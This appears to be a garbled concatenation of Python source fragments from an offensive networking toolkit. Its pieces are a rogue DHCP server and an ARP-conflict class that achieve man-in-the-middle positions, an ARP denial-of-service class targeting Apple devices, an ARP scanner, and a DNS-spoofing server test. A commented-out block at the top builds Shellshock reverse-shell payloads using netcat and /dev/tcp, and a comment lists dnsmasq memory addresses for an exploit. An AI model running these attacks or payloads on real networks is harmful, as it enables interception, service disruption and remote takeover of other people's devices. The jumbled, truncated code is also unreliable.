# # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 &
# if args.nce_reverse_shell:
# payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &'
#
# # Shellshock payload:
# # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 &
# if args.bash_reverse_shell:
# payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \
# '/' + str(args.reverse_port) + ' 0>&1 &'
#
# if payload is not None:
#
# # Do not add network settings command in payload
# if not args.without_network:
# payload = net_settings + payload
#
# # Send payload to target in clear text
# if args.without_self._base64:
# shellshock_payload = '() { :; }; ' + payload
#
# # Send self._base64 encoded payload to target in clear text
# else:
# payload = b64encode(payload)
# shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')'
# # endregion
#
# # region Check Shellshock payload length
# if shellshock_payload is not None:
# if len(shellshock_payload) > 255:
# self._base.print_error('Length of shellshock payload is very big! Current length: ',
# str(len(shellshock_payload)), ' Maximum length: ', '254')
# shellshock_payload = None
# # endregion
#
# except AssertionError:
# pass
# # endregion
# region Send DHCP ack and print info message
if self._send_broadcast_dhcp_response:
ack_packet = self._make_dhcp_ack_packet(
transaction_id=transaction_id,
target_mac=client_mac_address,
target_ip=requested_ip)
else:
ack_packet = self._make_dhcp_ack_packet(
transaction_id=transaction_id,
target_mac=client_mac_address,
target_ip=requested_ip,
destination_mac=client_mac_address,
destination_ip=requested_ip)
if self._apple:
self._base.print_info('DHCP ACK to: ',
client_mac_address,
' requested ip: ',
requested_ip)
for _ in range(3):
self._raw_send.send_packet(ack_packet)
sleep(0.2)
else:
self._raw_send.send_packet(ack_packet)
self._base.print_info('DHCP ACK to: ',
client_mac_address,
' requested ip: ',
requested_ip)
# endregion
# region Add client info in global self._clients dictionary
try:
self._clients[client_mac_address].update(
{'mitm': 'success'})
except KeyError:
self._clients[client_mac_address] = {
'mitm': 'success'
}
# endregion
# endregion
# endregion
# endregion
# endregion
# region DHCP DECLINE
if packet['DHCPv4'][53] == 4:
# Get requested IP
requested_ip = '0.0.0.0'
if 50 in packet['DHCPv4'].keys():
requested_ip = str(packet['DHCPv4'][50])
# Print info message
self._base.print_info(
'DHCP DECLINE from: ',
requested_ip + ' (' + client_mac_address + ')',
' transaction id: ', hex(transaction_id))
# If client IP in free IP addresses list delete this
if requested_ip in self._free_ip_addresses:
self._free_ip_addresses.remove(requested_ip)
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'decline_ip': requested_ip,
'decline': True
}, client_already_in_dictionary)
# print self._clients
# endregion
# endregion DHCP
# region ARP
if 'ARP' in packet.keys():
if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
packet['ARP']['target-mac'] == '00:00:00:00:00:00':
# region Set local variables
arp_sender_mac_address = packet['ARP']['sender-mac']
arp_sender_ip_address = packet['ARP']['sender-ip']
arp_target_ip_address = packet['ARP']['target-ip']
# endregion
# region Print info message
self._base.print_info('ARP packet from: ',
arp_sender_mac_address, ' "Who has ',
arp_target_ip_address, ' Tell ',
arp_sender_ip_address, '"')
# endregion
# region Get client mitm status
try:
mitm_status = self._clients[arp_sender_mac_address]['mitm']
except KeyError:
mitm_status = ''
# endregion
# region Get client requested ip
try:
requested_ip = self._clients[arp_sender_mac_address][
'requested_ip']
except KeyError:
requested_ip = ''
# endregion
# region Create IPv4 address conflict
if mitm_status.startswith('error'):
arp_reply = self._arp.make_response(
ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=arp_sender_mac_address,
sender_mac=self._your['mac-address'],
sender_ip=arp_target_ip_address,
target_mac=arp_sender_mac_address,
target_ip=arp_sender_ip_address)
self._raw_send.send_packet(arp_reply)
self._base.print_info(
'ARP response to: ', arp_sender_mac_address, ' "',
arp_target_ip_address + ' is at ' +
self._your['mac-address'], '" (IPv4 address conflict)')
# endregion
# region MITM success
if mitm_status.startswith('success'):
if arp_target_ip_address == requested_ip:
self._clients[arp_sender_mac_address].update(
{'client request his ip': True})
if arp_target_ip_address == self._router_ipv4_address:
self._clients[arp_sender_mac_address].update(
{'client request router ip': True})
if arp_target_ip_address == self._dns_server_ipv4_address:
self._clients[arp_sender_mac_address].update(
{'client request dns ip': True})
try:
assert self._clients[arp_sender_mac_address][
'client request his ip']
assert self._clients[arp_sender_mac_address][
'client request router ip']
assert self._clients[arp_sender_mac_address][
'client request dns ip']
assert 'success message' not in self._clients[
arp_sender_mac_address].keys()
self._base.print_success(
'MITM success: ',
requested_ip + ' (' + arp_sender_mac_address + ')')
if self._exit_on_success:
sleep(3)
exit(0)
else:
self._clients[arp_sender_mac_address].update(
{'success message': True})
except KeyError:
pass
except AssertionError:
pass
class AppleArpDos:
# region Variables
_base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows'])
_utils: Utils = Utils()
_arp: RawARP = RawARP()
_sniff: RawSniff = RawSniff()
_thread_manager: ThreadManager = ThreadManager(2)
_your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None}
_target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None}
_quit: bool = False
# endregion
# region Init
def __init__(self, network_interface: str) -> None:
"""
Init
:param network_interface: Network interface name (example: 'eth0')
"""
self._your = self._base.get_interface_settings(interface_name=network_interface,
required_parameters=['mac-address',
'ipv4-address',
'first-ipv4-address',
'last-ipv4-address'])
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Start ARP DOS Apple device
def start(self,
target_ip_address: Union[None, str] = None,
target_mac_address: Union[None, str] = None,
quit: bool = False) -> None:
"""
Start ARP DOS Apple device
:param target_ip_address: Target IPv4 address (example: '192.168.0.1')
:param target_mac_address: Target MAC address (example: '12:34:56:78:90:ab')
:param quit: Quit mode (default: False)
:return: None
"""
try:
# region Set variables
self._quit = quit
# endregion
# region Set target
self._target = self._utils.set_ipv4_target(network_interface=self._your['network-interface'],
target_ipv4_address=target_ip_address,
target_mac_address=target_mac_address,
target_vendor='apple',
exclude_ipv4_addresses=[])
# endregion
# region Start _sniffer
self._thread_manager.add_task(self._sniffer)
# endregion
# region Send first Multicast ARP request packets
sleep(3)
if not self._quit:
self._base.print_warning('Send initial ARP requests')
self._send_arp_requests(count_of_packets=10)
# endregion
# region Wait for completion
self._thread_manager.wait_for_completion()
# endregion
except AssertionError as Error:
if not self._quit:
self._base.print_error(Error.args[0])
exit(1)
except KeyboardInterrupt:
if not self._quit:
self._base.print_info('Exit')
exit(0)
# endregion
# region ARP request sender
def _send_arp_requests(self, count_of_packets: int = 10) -> None:
"""
Send initial network conflict ARP request packets
:param count_of_packets: Count if ARP request packets (default: 10)
:return: None
"""
random_ip_address: str = self._base.get_random_ip_on_interface(self._your['network-interface'])
arp_init_request = self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=self._target['mac-address'],
sender_mac=self._your['mac-address'],
sender_ip=self._target['ipv4-address'],
target_mac='00:00:00:00:00:00',
target_ip=random_ip_address)
self._raw_send.send_packet(packet=arp_init_request, count=count_of_packets, delay=0.5)
# endregion
# region ARP reply sender
def _send_arp_reply(self) -> None:
"""
Send network conflict ARP reply packet
:return: None
"""
arp_reply = self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=self._target['mac-address'],
sender_mac=self._your['mac-address'],
sender_ip=self._target['ipv4-address'],
target_mac=self._target['mac-address'],
target_ip=self._target['ipv4-address'])
self._raw_send.send_packet(packet=arp_reply)
if not self._quit:
self._base.print_info('ARP response to: ', self._target['ipv4-address'],
' "' + self._target['ipv4-address'] +
' is at ' + self._your['mac-address'] + '"')
# endregion
# region Analyze packet
def _analyze(self, packet: Dict) -> None:
"""
Analyze parsed network packet dictionary
:param packet: Parsed network packet dictionary
:return: None
"""
# region ARP packet
if 'ARP' in packet.keys():
if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
packet['ARP']['target-mac'] == '00:00:00:00:00:00' and \
packet['ARP']['sender-mac'] == self._target['mac-address'] and \
packet['ARP']['target-ip'] == self._target['ipv4-address'] and \
packet['ARP']['sender-ip'] == self._target['ipv4-address']:
if not self._quit:
self._base.print_info('ARP Announcement for: ',
packet['ARP']['target-ip'] + ' (' +
packet['ARP']['sender-ip'] + ')')
self._send_arp_reply()
# endregion
# region DHCPv4 packet
else:
if 'DHCPv4' in packet.keys():
if packet['DHCPv4'][53] == 4:
self._base.print_success('DHCPv4 Decline from: ', packet['Ethernet']['source'],
' IPv4 address conflict detection!')
if packet['DHCPv4'][53] == 3:
if 50 in packet['DHCPv4'].keys():
self._target['ipv4-address'] = str(packet['DHCPv4'][50])
self._send_arp_requests(count_of_packets=10)
if not self._quit:
self._base.print_success('DHCPv4 Request from: ', self._target['mac-address'],
' requested ip: ', self._target['ipv4-address'])
# endregion
# endregion
# region Sniff ARP and DHCP request from target
def _sniffer(self) -> None:
"""
Sniff ARP and DHCPv4 packets
:return: None
"""
self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._analyze,
filters={'Ethernet': {'source': self._target['mac-address']},
'ARP': {'opcode': 1},
'IPv4': {'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255'},
'UDP': {'source-port': 68, 'destination-port': 67}},
network_interface=self._your['network-interface'],
scapy_filter='arp or (udp and (port 67 or 68))',
scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
class AppleDHCPServer:
# region Variables
_base: Base = Base(admin_only=True,
available_platforms=['Linux', 'Darwin', 'Windows'])
_utils: Utils = Utils()
_arp: RawARP = RawARP()
_sniff: RawSniff = RawSniff()
_dhcpv4: RawDHCPv4 = RawDHCPv4()
_thread_manager: ThreadManager = ThreadManager(15)
_your: Dict[str, Union[None, str]] = {
'network-interface': None,
'mac-address': None,
'ipv4-address': None
}
_target: Dict[str, Union[None, str]] = {
'ipv4-address': None,
'mac-address': None
}
_requested_ip: Union[None, str] = None
_new_transaction_id: int = 0
_print_possible_mitm: bool = False
_print_success_mitm: bool = False
_broadcast: bool = False
_quiet: bool = False
# endregion
# region Init
def __init__(self, network_interface: str) -> None:
"""
Init
:param network_interface: Network interface name (example: 'eth0')
"""
self._your = self._base.get_interface_settings(
interface_name=network_interface,
required_parameters=[
'mac-address', 'ipv4-address', 'first-ipv4-address',
'last-ipv4-address'
])
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Start
def start(self,
target_ip_address: str,
target_mac_address: str,
broadcast: bool = False,
quiet: bool = False):
try:
# region Set variables
self._broadcast = broadcast
self._quiet = quiet
# endregion
# region Check target MAC and IPv4 address
self._target['ipv4-address'] = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=target_ip_address,
is_local_ipv4_address=True,
parameter_name='target IPv4 address')
self._target['mac-address'] = \
self._utils.check_mac_address(mac_address=target_mac_address,
parameter_name='target MAC address')
# endregion
# region Start Sniffer
if not self._quiet:
self._base.print_info(
'Waiting for a ARP or DHCPv4 requests from: ',
self._target['mac-address'])
self._sniff.start(
protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
prn=self._reply,
filters={
'Ethernet': {
'source': self._target['mac-address']
},
'ARP': {
'opcode': 1
},
'IPv4': {
'source-ip': '0.0.0.0',
'destination-ip': '255.255.255.255'
},
'UDP': {
'source-port': 68,
'destination-port': 67
}
},
network_interface=self._your['network-interface'],
scapy_filter='arp or (udp and (port 67 or 68))',
scapy_lfilter=lambda eth: eth.src == self._target['mac-address'
])
# endregion
except AssertionError as Error:
if not self._quiet:
self._base.print_error(Error.args[0])
exit(1)
except KeyboardInterrupt:
if not self._quiet:
self._base.print_info('Exit')
exit(0)
# endregion
# region DHCP response sender
def _dhcp_response_sender(self):
if self._broadcast:
offer_packet = self._dhcpv4.make_offer_packet(
ethernet_src_mac=self._your['mac-address'],
ip_src=self._your['ipv4-address'],
transaction_id=self._new_transaction_id,
your_client_ip=self._target['ipv4-address'],
client_mac=self._target['mac-address'])
ack_packet = self._dhcpv4.make_ack_packet(
ethernet_src_mac=self._your['mac-address'],
ip_src=self._your['ipv4-address'],
transaction_id=self._new_transaction_id,
your_client_ip=self._target['ipv4-address'],
client_mac=self._target['mac-address'])
else:
offer_packet = self._dhcpv4.make_offer_packet(
ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=self._target['mac-address'],
ip_src=self._your['ipv4-address'],
transaction_id=self._new_transaction_id,
your_client_ip=self._target['ipv4-address'],
client_mac=self._target['mac-address'])
ack_packet = self._dhcpv4.make_ack_packet(
ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=self._target['mac-address'],
ip_src=self._your['ipv4-address'],
transaction_id=self._new_transaction_id,
your_client_ip=self._target['ipv4-address'],
client_mac=self._target['mac-address'])
start_time: datetime = datetime.now()
if self._base.get_platform().startswith('Linux'):
while (datetime.now() - start_time).seconds <= 15:
self._raw_send.send_packet(offer_packet)
self._raw_send.send_packet(ack_packet)
sleep(0.00001)
else:
while (datetime.now() - start_time).seconds <= 15:
self._raw_send.send_packet(offer_packet)
self._raw_send.send_packet(ack_packet)
# endregion
# region Reply to DHCP and ARP requests
def _reply(self, request: Dict[str, Dict[Union[int, str], Union[int,
str]]]):
# region DHCP REQUESTS
if 'DHCPv4' in request.keys():
# region Get DHCP transaction id
transaction_id = request['BOOTP']['transaction-id']
# endregion
# region DHCP DECLINE
if request['DHCPv4'][53] == 4:
self._base.print_info('DHCP DECLINE from: ',
self._target['mac-address'])
if self._new_transaction_id != 0:
self._thread_manager.add_task(self._dhcp_response_sender)
# endregion
# region DHCP REQUEST
if request['DHCPv4'][53] == 3:
# region Get next DHCP transaction id
if transaction_id != 0:
self._new_transaction_id = transaction_id + 1
self._base.print_info('Current transaction id: ',
hex(transaction_id))
self._base.print_success('Next transaction id: ',
hex(self._new_transaction_id))
# endregion
# region Get DHCP requested ip address
if 50 in request['DHCPv4'].keys():
self._requested_ip = str(request['DHCPv4'][50])
# endregion
# region Print info message
self._base.print_info('DHCP REQUEST from: ',
self._target['mac-address'],
' transaction id: ', hex(transaction_id),
' requested ip: ', self._requested_ip)
# endregion
# region If requested IP is target IP - print Possible mitm success
if self._requested_ip == self._target['ipv4-address']:
if not self._print_possible_mitm:
self._base.print_warning(
'Possible MiTM success: ',
self._target['ipv4-address'] + ' (' +
self._target['mac-address'] + ')')
self._print_possible_mitm = True
# endregion
# endregion
# endregion
# region ARP REQUESTS
if 'ARP' in request.keys():
if self._requested_ip is not None:
if request['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
request['ARP']['target-mac'] == '00:00:00:00:00:00':
# region Set local variables
arp_sender_mac_address = request['ARP']['sender-mac']
arp_sender_ip_address = request['ARP']['sender-ip']
arp_target_ip_address = request['ARP']['target-ip']
# endregion
# region Print info message
self._base.print_info(
'ARP request from: ', arp_sender_mac_address, ' "',
'Who has ' + arp_target_ip_address + '? Tell ' +
arp_sender_ip_address, '"')
# endregion
# region ARP target IP is DHCP requested IP
if arp_target_ip_address == self._requested_ip:
# region If ARP target IP is target IP - print Possible mitm success
if arp_target_ip_address == self._target[
'ipv4-address']:
if not self._print_possible_mitm:
self._base.print_warning(
'Possible MiTM success: ',
self._target['ipv4-address'] + ' (' +
self._target['mac-address'] + ')')
self._print_possible_mitm = True
# endregion
# region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response
else:
arp_reply = self._arp.make_response(
ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=self._target['mac-address'],
sender_mac=self._your['mac-address'],
sender_ip=self._requested_ip,
target_mac=arp_sender_mac_address,
target_ip=arp_sender_ip_address)
for _ in range(5):
self._raw_send.send_packet(arp_reply)
self._base.print_info(
'ARP response to: ', arp_sender_mac_address,
' "', arp_target_ip_address + ' is at ' +
self._your['mac-address'],
'" (IPv4 address conflict)')
# endregion
# endregion
# region ARP target IP is your IP - MITM SUCCESS
if arp_target_ip_address == self._your['ipv4-address']:
if not self._print_success_mitm:
self._base.print_success(
'MITM success: ',
self._target['ipv4-address'] + ' (' +
self._target['mac-address'] + ')')
self._print_success_mitm = True
exit(0)
def scan(self, network_interface, timeout=3, retry=3, target_ip_address=None, check_vendor=True,
exclude_ip_address=None):
# region Set variables
self.target_ip_address = target_ip_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run sniffer
tm = ThreadManager(2)
tm.add_task(self.sniff)
# endregion
# region Run sender
self.send()
# endregion
# region Create vendor list
if check_vendor:
self.vendor_list = self.base.get_mac_prefixes()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Unique results
for index in range(len(self.results)):
if self.results[index]['mac-address'] not in self.mac_addresses:
self.unique_results.append(self.results[index])
self.mac_addresses.append(self.results[index]['mac-address'])
# endregion
# region Reset results and mac addresses list
self.results = []
self.mac_addresses = []
# endregion
# region Exclude IP address
if exclude_ip_address is not None:
self.results = self.unique_results
self.unique_results = []
for index in range(len(self.results)):
if self.results[index]['ip-address'] != exclude_ip_address:
self.unique_results.append(self.results[index])
self.results = []
# endregion
# region Get vendors
for result_index in range(len(self.unique_results)):
# Get current MAC address prefix
current_mac_prefix = self.eth.get_mac_prefix(self.unique_results[result_index]['mac-address'])
# Search this prefix in vendor list
for vendor_index in range(len(self.vendor_list)):
if current_mac_prefix == self.vendor_list[vendor_index]['prefix']:
self.unique_results[result_index]['vendor'] = self.vendor_list[vendor_index]['vendor']
break
# Could not find this prefix in vendor list
if 'vendor' not in self.unique_results[result_index].keys():
self.unique_results[result_index]['vendor'] = "Unknown vendor"
# endregion
# region Return results
return self.unique_results
# Add 5 packets to number of WiFi deauth packets
deauth_packets_number += 5
# endregion
# region Main function
if __name__ == "__main__":
# region Variables
Scanner = Scanner()
ArpScan = ArpScan()
ICMPv6Scan = ICMPv6Scan()
DnsServer = DnsServer()
TM = ThreadManager(5)
ip_pattern = re.compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$")
target_mac_address = None
target_ip_address = None
new_target_ip_address = None
target_apple_device = None
first_suffix = 2
last_suffix = 255
network_prefix = None
network_prefix_address = None
network_prefix_length = None
class DnsServerTest(unittest.TestCase):
# region Properties
path.append(dirname(dirname(dirname(dirname(dirname(abspath(__file__)))))))
from raw_packet.Utils.base import Base
from raw_packet.Utils.tm import ThreadManager
from raw_packet.Servers.dns_server import RawDnsServer
base: Base = Base()
tm: ThreadManager = ThreadManager(2)
dns_server: RawDnsServer = RawDnsServer()
interface: str = 'lo'
ipv4_address: str = '127.0.0.1'
ipv6_address: str = '::1'
listen_port: int = 53
fake_ipv4_addresses: List[str] = ['192.168.0.123', '192.168.0.234']
fake_ipv6_addresses: List[str] = ['fd00::123', 'fd00::234']
fake_ns_servers: List[str] = ['ns1.test.com', 'ns2.test.com']
fake_mx_servers: List[str] = ['mail1.test.com', 'mail2.test.com']
fake_domains_regexp: List[str] = ['(test1|test2)\\.google.com', 'evil.com']
fake_domains: List[str] = [
'test1.google.com', 'test2.google.com', 'evil.com'
]
no_such_domains: List[str] = ['gooogle.com', 'eviiil.com']
real_domains: List[str] = ['www.google.com', 'google.com']
success_domains: List[str] = ['evil.com']
config_file_name: str = 'config.json'
config_fake_domains: List[str] = ['test1.com', 'www.test1.com']
config_success_domains: List[str] = ['test2.com', 'www.test2.com']
config_no_such_domains: List[str] = ['test3.com', 'www.test3.com']
config_content: Dict = {
'.*test1.com': {
'A': fake_ipv4_addresses[0],
'AAAA': fake_ipv6_addresses,
'NS': fake_ns_servers[0],
'MX': fake_mx_servers
},
'.*test2.com': {
'success': True,
'A': 'my ipv4 address',
'AAAA': 'my ipv6 address'
},
'.*test3.com': {
'no such domain': True
}
}
with open(config_file_name, 'w') as config_file:
dump(config_content, config_file)
tm.add_task(dns_server.listen, interface, listen_port, None, None, None,
False, fake_ipv4_addresses, fake_ipv6_addresses,
fake_domains_regexp, no_such_domains, True, False,
success_domains, config_file_name)
test_ipv4_resolver = Resolver()
test_ipv6_resolver = Resolver()
test_ipv4_resolver.nameservers = [ipv4_address]
test_ipv6_resolver.nameservers = [ipv6_address]
test_ipv4_resolver.timeout = 3
test_ipv6_resolver.timeout = 3
result_addresses: List[str] = list()
# endregion
def test01_resolve_ipv4_fake_domain(self):
for fake_domain in self.fake_domains:
answers = self.test_ipv6_resolver.query(fake_domain, A)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertEqual(self.result_addresses, self.fake_ipv4_addresses)
self.result_addresses.clear()
def test02_resolve_ipv6_fake_domain(self):
for fake_domain in self.fake_domains:
answers = self.test_ipv6_resolver.query(fake_domain, AAAA)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertEqual(self.result_addresses, self.fake_ipv6_addresses)
self.result_addresses.clear()
def test03_resolve_no_such_domain(self):
for no_such_domain in self.no_such_domains:
nslookup_process = run(
['nslookup ' + no_such_domain + ' ' + self.ipv6_address],
stdout=PIPE,
shell=True)
nslookup_stdout: str = nslookup_process.stdout.decode('utf-8')
self.assertIn('server can\'t find ' + no_such_domain,
nslookup_stdout)
def test04_resolve_ipv4_real_domain(self):
for real_domain in self.real_domains:
answers = self.test_ipv6_resolver.query(real_domain, A)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertNotEqual(self.result_addresses,
self.fake_ipv4_addresses)
self.assertNotEqual(len(self.result_addresses), 0)
self.result_addresses.clear()
def test05_resolve_ipv6_real_domain(self):
for real_domain in self.real_domains:
answers = self.test_ipv6_resolver.query(real_domain, AAAA)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertNotEqual(self.result_addresses,
self.fake_ipv6_addresses)
self.assertNotEqual(len(self.result_addresses), 0)
self.result_addresses.clear()
def test06_resolve_config_domains(self):
for config_fake_domain in self.config_fake_domains:
answers = self.test_ipv6_resolver.query(config_fake_domain, A)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertEqual(self.result_addresses,
[self.fake_ipv4_addresses[0]])
self.result_addresses.clear()
answers = self.test_ipv6_resolver.query(config_fake_domain, AAAA)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertEqual(self.result_addresses, self.fake_ipv6_addresses)
self.result_addresses.clear()
answers = self.test_ipv6_resolver.query(config_fake_domain, NS)
for answer in answers:
self.result_addresses.append(str(answer.target)[:-1])
self.assertEqual(self.result_addresses, [self.fake_ns_servers[0]])
self.result_addresses.clear()
answers = self.test_ipv6_resolver.query(config_fake_domain, MX)
for answer in answers:
self.result_addresses.append(str(answer.exchange)[:-1])
self.assertEqual(self.result_addresses, self.fake_mx_servers)
self.result_addresses.clear()
for config_success_domain in self.config_success_domains:
answers = self.test_ipv6_resolver.query(config_success_domain, A)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertEqual(self.result_addresses, [self.ipv4_address])
self.result_addresses.clear()
answers = self.test_ipv6_resolver.query(config_success_domain,
AAAA)
for answer in answers:
self.result_addresses.append(answer.address)
self.assertEqual(self.result_addresses, [self.ipv6_address])
self.result_addresses.clear()
for no_such_domain in self.config_no_such_domains:
nslookup_process = run(
['nslookup ' + no_such_domain + ' ' + self.ipv6_address],
stdout=PIPE,
shell=True)
nslookup_stdout: str = nslookup_process.stdout.decode('utf-8')
self.assertIn('server can\'t find ' + no_such_domain,
nslookup_stdout)
remove(self.config_file_name)
# endregion # endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = ['hackituria'] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Development' # endregion tm = ThreadManager(3) # Architecture i386 segments address # dnsmasq/2.77 segments address without PIE # 0x08049fa0 - 0x0807e4e2 is .text # 0x08097240 - 0x08098072 is .data # dnsmasq/2.76 segments address without PIE # 0x08049f10 - 0x0807d372 is .text # 0x08096240 - 0x08097052 is .data # dnsmasq/2.75 segments address without PIE # 0x08049ee0 - 0x0807b7d2 is .text # 0x08093240 - 0x08093f5c is .data
class ArpScan:
# region Variables
_base: Base = Base()
_arp: RawARP = RawARP()
_raw_sniff: RawSniff = RawSniff()
_thread_manager: ThreadManager = ThreadManager(2)
_your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None}
_target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None}
_results: List[Dict[str, str]] = list()
_mac_addresses: List[str] = list()
_unique_results: List[Dict[str, str]] = list()
_sorted_results: List[Dict[str, str]] = list()
_retry_number: int = 5
_timeout: int = 5
_quit: bool = False
# endregion
# region Init
def __init__(self, network_interface: str) -> None:
"""
Init
:param network_interface: Network interface name (example: 'eth0')
"""
self._your = self._base.get_interface_settings(interface_name=network_interface,
required_parameters=['mac-address',
'ipv4-address',
'first-ipv4-address',
'last-ipv4-address'])
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Scanner
def scan(self, timeout: int = 5, retry: int = 5,
target_ip_address: Union[None, str] = None,
check_vendor: bool = True,
exclude_ip_addresses: Union[None, List[str]] = None,
exit_on_failure: bool = True,
show_scan_percentage: bool = True) -> List[Dict[str, str]]:
"""
ARP scan on network interface
:param timeout: Timeout in seconds (default: 5)
:param retry: Retry number (default: 5)
:param target_ip_address: Target IPv4 address (example: 192.168.0.1)
:param check_vendor: Check vendor of hosts (default: True)
:param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2'])
:param exit_on_failure: Exit if alive hosts in network not found (default: True)
:param show_scan_percentage: Show ARP scan progress percentage (default: True)
:return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a',
'ip-address': '192.168.0.1',
'vendor': 'Raspberry Pi Foundation'}])
"""
try:
# region Clear lists with scan results
self._results.clear()
self._unique_results.clear()
self._sorted_results.clear()
self._mac_addresses.clear()
# endregion
# region Set variables
self._quit = not show_scan_percentage
self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address)
self._timeout = int(timeout)
self._retry_number = int(retry)
# endregion
# region Run _sniffer
self._thread_manager.add_task(self._sniff)
# endregion
# region Run sender
self._send()
# endregion
# region Wait
sleep(self._timeout)
# endregion
# region Unique results
for index in range(len(self._results)):
if self._results[index]['mac-address'] not in self._mac_addresses:
self._unique_results.append(self._results[index])
self._mac_addresses.append(self._results[index]['mac-address'])
# endregion
# region Exclude IP addresses
if exclude_ip_addresses is not None:
self._results = self._unique_results
self._unique_results = list()
for index in range(len(self._results)):
if self._results[index]['ip-address'] not in exclude_ip_addresses:
self._unique_results.append(self._results[index])
self._results = list()
# endregion
# region Get vendors
if check_vendor:
for result_index in range(len(self._unique_results)):
self._unique_results[result_index]['vendor'] = \
self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address'])
# endregion
# region Sort by IP address
self._sorted_results = sorted(self._unique_results, key=lambda ip: inet_aton(ip['ip-address']))
# endregion
except KeyboardInterrupt:
self._base.print_info('Exit')
exit(0)
if len(self._unique_results) == 0:
if exit_on_failure:
self._base.print_error('Could not find allive hosts on interface: ', self._your['network-interface'])
exit(1)
return self._sorted_results
# endregion
# region Get MAC address by IP address
def get_mac_address(self, target_ip_address: str = '192.168.0.1',
timeout: int = 5, retry: int = 5,
exit_on_failure: bool = True,
show_scan_percentage: bool = False) -> str:
"""
Get MAC address of IP address on network interface
:param timeout: Timeout in seconds (default: 3)
:param retry: Retry number (default: 3)
:param target_ip_address: Target IPv4 address (example: 192.168.0.1)
:param exit_on_failure: Exit if MAC address of target IP address not found (default: True)
:param show_scan_percentage: Show ARP scan progress percentage (default: True)
:return: MAC address of target IP address (example: '01:23:45:67:89:0a')
"""
# region Set result MAC address value
result_mac_address: str = 'ff:ff:ff:ff:ff:ff'
# endregion
try:
# region Clear lists with scan results
self._results.clear()
self._unique_results.clear()
self._mac_addresses.clear()
# endregion
# region Set variables
self._quit = not show_scan_percentage
self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address)
self._timeout = int(timeout)
self._retry_number = int(retry)
# endregion
# region Run _sniffer
self._thread_manager.add_task(self._sniff)
# endregion
# region Run sender
self._send()
# endregion
# region Wait
sleep(self._timeout)
# endregion
# region Return
if 'mac-address' in self._results[0].keys():
result_mac_address = self._results[0]['mac-address']
# endregion
except IndexError:
pass
except KeyboardInterrupt:
self._base.print_info('Exit')
exit(0)
if result_mac_address == 'ff:ff:ff:ff:ff:ff':
if exit_on_failure:
self._base.print_error('Could not find MAC address of IP address: ', target_ip_address)
exit(1)
return result_mac_address
# endregion
# region Analyze packet
def _analyze_packet(self, packet: Dict[str, Dict[str, str]]) -> None:
"""
Analyze ARP reply
:param packet: Parsed ARP reply
:return: None
"""
try:
# region Asserts
assert 'ARP' in packet.keys()
assert 'sender-mac' in packet['ARP'].keys()
assert 'sender-ip' in packet['ARP'].keys()
assert 'target-mac' in packet['ARP'].keys()
assert 'target-ip' in packet['ARP'].keys()
assert packet['ARP']['target-mac'] == self._your['mac-address']
assert packet['ARP']['target-ip'] == self._your['ipv4-address']
# endregion
# region Parameter Target IPv4 address is None
if self._target['ipv4-address'] is None:
self._results.append({
'mac-address': packet['ARP']['sender-mac'],
'ip-address': packet['ARP']['sender-ip']
})
# endregion
# region Parameter Target IPv4 address is Set
else:
if packet['ARP']['sender-ip'] == self._target['ipv4-address']:
self._results.append({
'mac-address': packet['ARP']['sender-mac'],
'ip-address': packet['ARP']['sender-ip']
})
# endregion
except AssertionError:
pass
# endregion
# region Sniffer
def _sniff(self) -> None:
"""
Sniff ARP replies
:return: None
"""
self._raw_sniff.start(protocols=['Ethernet', 'ARP'],
prn=self._analyze_packet,
filters={'Ethernet': {'destination': self._your['mac-address']},
'ARP': {'opcode': 2,
'target-mac': self._your['mac-address'],
'target-ip': self._your['ipv4-address']}},
